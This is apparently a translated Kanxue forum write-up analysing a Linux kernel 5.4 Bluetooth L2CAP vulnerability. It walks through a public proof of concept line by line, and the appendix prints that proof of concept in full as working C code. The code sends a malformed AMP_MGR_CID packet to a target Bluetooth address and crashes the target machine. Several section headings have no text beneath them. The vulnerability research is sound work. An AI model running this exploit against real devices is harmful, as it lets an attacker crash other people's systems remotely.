
This article is a featured article from the Kanxue Forum.
Author of the Kanxue ForumID: Jimu Chutianshu

1. Vulnerability Information

1. Vulnerability Overview
2. Vulnerability Mechanism
3. Impact and Solutions

2. Reproducing the Vulnerability


Figure 2-1
The attacker and the target machine both run on Ubuntu 20.04 Linux kernel 5.4.0-42. The attacker can easily obtain the target machine’s Bluetooth address BD (the method is relatively simple) and run the PoC locally with root privileges to crash the target machine’s Bluetooth service.
First, the target machine needs to enable Bluetooth and make itself discoverable and connectable:

Figure 2-2 Target machine enabling Bluetooth
Next, enter the command “sudo ./poc 18:26:49:CD:09:E1” on the attacking machine to execute the verification program:

Figure 2-3 Sending malicious packets
It can be seen that the target machine has crashed and is rebooting:



3. Setting Up a Dual Machine Debugging Environment


Figure 3-1 Connection diagram
The attacker sends malicious packets to the target machine causing the target machine’s Bluetooth service to crash, and the debugging machine connects to the target machine via RS-232 serial cable to use KGDB for kernel debugging.
Dual machine debugging requires the target machine to support KGDB debugging, which can be enabled in the kernel configuration during compilation. The current Ubuntu distribution kernel has KGDB support enabled by default. You can check with the command “cat /boot/config-uname -r | grep -i GDB” to see that the current kernel supports KGDB and serial debugging.

1. Prepare Symbol Files and Kernel Source Files


2. Configure the Target Machine and Establish a Debugging Session






3. Precautions

4. Introduction to Bluetooth Technology

1. Classic Bluetooth Architecture


2. HCI ACL Packet Parsing

|
|
|
|
|
|
|
|
|
|
|
|
|
|
|

5. PoC Analysis

Public PoC code can be found in Appendix 2.
Lines 10 to 52 of the code are used to generate the FCS checksum for L2CAP packets, which is identical to the logic used in the kernel, so it is directly extracted from the kernel source code, located at linux-5.4/linux-5.4/lib/crc16.c.
Entering the main function, the first call is to hci_open_dev to open a raw socket for communication with the local Bluetooth module. Through this socket, HCI packets can be constructed freely.
Lines 93 to 114 of the code generate an L2CAP layer socket and connect it to the remote host. The purpose of this socket is to generate a remote connection handle, which will later be extracted and assembled into the HCI raw socket data packet. It is important to note that in Bluetooth programming, the active connection party also needs to bind the socket to the local address, which is different from TCP/IP-based network programming.
Lines 116 to 123 call the getsockopt function to extract the handle of the L2CAP connection.
Lines 126 to 134 construct the inner L2CAP packet of the HCI ACL packet, where the CID field of the L2CAP packet header is set to AMP_MGR_CID(0x3), and the FCS checksum of the L2CAP packet excluding the FCS field is calculated and added to the FCS field. The constructed L2CAP packet is as follows:

Figure 5-1 L2CAP Data Structure
Line 149 calls the custom hci_send_acl_data function to pack the L2CAP packet into an HCI ACL data packet, and finally send it through the HCI raw socket.
The hci_send_acl_data function receives four parameters: hci_socket is the local HCI raw socket, hci_handle is the handle of the established L2CAP connection, data is the L2CAP data packet to be sent, and data_length is the length of the L2CAP data packet.
hci_handle and PC, BC flags form the handle field of the HCI packet header, and data_length initializes the dlen field of the HCI packet header. The HCI packet header and L2CAP packet are packed and sent to the HCI raw socket using the writev function, so the construction of the HCI ACL packet is completed in writev, where the first byte packed is HCI_ACLDATA_PKT(0x2), indicating that this is an ACL type HCI packet.
The constructed HCI data packet is sent to the local Bluetooth module through the HCI raw socket, where the module’s firmware recognizes and processes it, passing it to the baseband for transmission to the target machine.

Figure 5-2 HCI ACL Packet

6. Vulnerability Analysis

1. Static Analysis

Figure 5-1 Calling Hierarchy







2. Dynamic Analysis










7. References


8. Appendix

1. Resource Download
2. PoC.c
# poc.c # Compiled with command “gcc -o poc poc.c -lbluetooth”##include <stdlib.h>#include <unistd.h>#include <sys/socket.h>#include <sys/uio.h>#include <bluetooth/bluetooth.h>#include <bluetooth/l2cap.h>#include <bluetooth/hci.h>#include <bluetooth/hci_lib.h>#define AMP_MGR_CID 0x03 static uint16_t crc16_tab[256] = { 0x0000, 0xc0c1, 0xc181, 0x0140, 0xc301, 0x03c0, 0x0280, 0xc241, 0xc601, 0x06c0, 0x0780, 0xc741, 0x0500, 0xc5c1, 0xc481, 0x0440, 0xcc01, 0x0cc0, 0x0d80, 0xcd41, 0x0f00, 0xcfc1, 0xce81, 0x0e40, 0x0a00, 0xcac1, 0xcb81, 0x0b40, 0xc901, 0x09c0, 0x0880, 0xc841, 0xd801, 0x18c0, 0x1980, 0xd941, 0x1b00, 0xdbc1, 0xda81, 0x1a40, 0x1e00, 0xdec1, 0xdf81, 0x1f40, 0xdd01, 0x1dc0, 0x1c80, 0xdc41, 0x1400, 0xd4c1, 0xd581, 0x1540, 0xd701, 0x17c0, 0x1680, 0xd641, 0xd201, 0x12c0, 0x1380, 0xd341, 0x1100, 0xd1c1, 0xd081, 0x1040, 0xf001, 0x30c0, 0x3180, 0xf141, 0x3300, 0xf3c1, 0xf281, 0x3240, 0x3600, 0xf6c1, 0xf781, 0x3740, 0xf501, 0x35c0, 0x3480, 0xf441, 0x3c00, 0xfcc1, 0xfd81, 0x3d40, 0xff01, 0x3fc0, 0x3e80, 0xfe41, 0xfa01, 0x3ac0, 0x3b80, 0xfb41, 0x3900, 0xf9c1, 0xf881, 0x3840, 0x2800, 0xe8c1, 0xe981, 0x2940, 0xeb01, 0x2bc0, 0x2a80, 0xea41, 0xee01, 0x2ec0, 0x2f80, 0xef41, 0x2d00, 0xedc1, 0xec81, 0x2c40, 0xe401, 0x24c0, 0x2580, 0xe541, 0x2700, 0xe7c1, 0xe681, 0x2640, 0x2200, 0xe2c1, 0xe381, 0x2340, 0xe101, 0x21c0, 0x2080, 0xe041, 0xa001, 0x60c0, 0x6180, 0xa141, 0x6300, 0xa3c1, 0xa281, 0x6240, 0x6600, 0xa6c1, 0xa781, 0x6740, 0xa501, 0x65c0, 0x6480, 0xa441, 0x6c00, 0xacc1, 0xad81, 0x6d40, 0xaf01, 0x6fc0, 0x6e80, 0xae41, 0xaa01, 0x6ac0, 0x6b80, 0xab41, 0x6900, 0xa9c1, 0xa881, 0x6840, 0x7800, 0xb8c1, 0xb981, 0x7940, 0xbb01, 0x7bc0, 0x7a80, 0xba41, 0xbe01, 0x7ec0, 0x7f80, 0xbf41, 0x7d00, 0xbdc1, 0xbc81, 0x7c40, 0xb401, 0x74c0, 0x7580, 0xb541, 0x7700, 0xb7c1, 0xb681, 0x7640, 0x7200, 0xb2c1, 0xb381, 0x7340, 0xb101, 0x71c0, 0x7080, 0xb041, 0x5000, 0x90c1, 0x9181, 0x5140, 0x9301, 0x53c0, 0x5280, 0x9241, 0x9601, 0x56c0, 0x5780, 0x9741, 0x5500, 0x95c1, 0x9481, 0x5440, 0x9c01, 0x5cc0, 0x5d80, 0x9d41, 0x5f00, 0x9fc1, 0x9e81, 0x5e40, 0x5a00, 0x9ac1, 0x9b81, 0x5b40, 0x9901, 0x59c0, 0x5880, 0x9841, 0x8801, 0x48c0, 0x4980, 0x8941, 0x4b00, 0x8bc1, 0x8a81, 0x4a40, 0x4e00, 0x8ec1, 0x8f81, 0x4f40, 0x8d01, 0x4dc0, 0x4c80, 0x8c41, 0x4400, 0x84c1, 0x8581, 0x4540, 0x8701, 0x47c0, 0x4680, 0x8641, 0x8201, 0x42c0, 0x4380, 0x8341, 0x4100, 0x81c1, 0x8081, 0x4040}; uint16_t crc16(uint16_t crc, const void *buf, size_t size) { const uint8_t *p; p = buf; while (size--) crc = crc16_tab[(crc ^ (*p++)) & 0xFF] ^ (crc >> 8); return crc;} /* The above part is extracted from the linux 5.4 source code for FCS calculation */ int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) { uint8_t type = HCI_ACLDATA_PKT; uint16_t BCflag = 0x0000; uint16_t PBflag = 0x0002; /* Indicates the first L2CAP packet */ uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F; /* Fill in the PB, BC fields of the HCI packet header */ hci_acl_hdr hdr; hdr.handle = htobs(acl_handle_pack(hci_handle, flags)); /* Merge into the handle field of the HCI packet header */ hdr.dlen = data_length; /* Fill in the payload length field of the HCI packet header */ struct iovec iv[3]; iv[0].iov_base = &type; iv[0].iov_len = 1; iv[1].iov_base = &hdr; iv[1].iov_len = HCI_ACL_HDR_SIZE; iv[2].iov_base = data; iv[2].iov_len = data_length; return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec)); /* HCI data packet is sent to the remote via the raw socket */} int main(int argc, char **argv) { if (argc != 2) { printf("Usage: %s MAC_ADDR\n", argv[0]); return 1; } bdaddr_t dst_addr; str2ba(argv[1], &dst_addr); printf("[*] Resetting hci0 device...\n"); system("sudo hciconfig hci0 down"); system("sudo hciconfig hci0 up"); printf("[*] Opening hci device...\n"); struct hci_dev_info di; int hci_device_id = hci_get_route(NULL); int hci_socket = hci_open_dev(hci_device_id); if (hci_devinfo(hci_device_id, &di) < 0) { perror("hci_devinfo"); return 1; } printf("[*] Connecting to victim...\n"); struct sockaddr_l2 laddr = {0}; laddr.l2_family = AF_BLUETOOTH; laddr.l2_bdaddr = di.bdaddr; struct sockaddr_l2 raddr = {0}; raddr.l2_family = AF_BLUETOOTH; raddr.l2_bdaddr = dst_addr; int l2_sock; if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) { perror("socket"); return 1; } if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) { perror("bind"); return 1; } if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) { perror("connect"); return 1; } struct l2cap_conninfo l2_conninfo; socklen_t l2_conninfolen = sizeof(l2_conninfo); if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen) < 0) { perror("getsockopt"); return 1; } uint16_t hci_handle = l2_conninfo.hci_handle; printf("[+] HCI handle: %x\n", hci_handle); printf("[*] Sending malicious L2CAP packet...\n"); struct { l2cap_hdr hdr; uint16_t ctrl; uint16_t fcs; } packet = {0}; packet.hdr.len = htobs(sizeof(packet) - L2CAP_HDR_SIZE); packet.hdr.cid = htobs(AMP_MGR_CID); packet.fcs = crc16(0, &packet, sizeof(packet) - 2); hci_send_acl_data(hci_socket, hci_handle, &packet, sizeof(packet)); close(l2_sock); hci_close_dev(hci_socket); return 0;}


Kanxue ID: Jimu Chutianshu
https://bbs.pediy.com/user-home-741085.htm
# Previous Recommendations
-
Windows Application Responding to GPIO (SCI) Device Interrupts on the Motherboard – Hardware Edition
-
CVE-2020-1350 Windows DNS Server Remote Code Execution Vulnerability Analysis and Exploitation Techniques Sharing
-
Control Flow Flattening Based on LLVM Pass
-
Analysis of Protocol Encryption Algorithm of Certain Companion Software (so Layer Analysis)
-
Extremely Detailed Debugging of Format String Vulnerabilities


Share the Ball

Like the Ball

Watch the Ball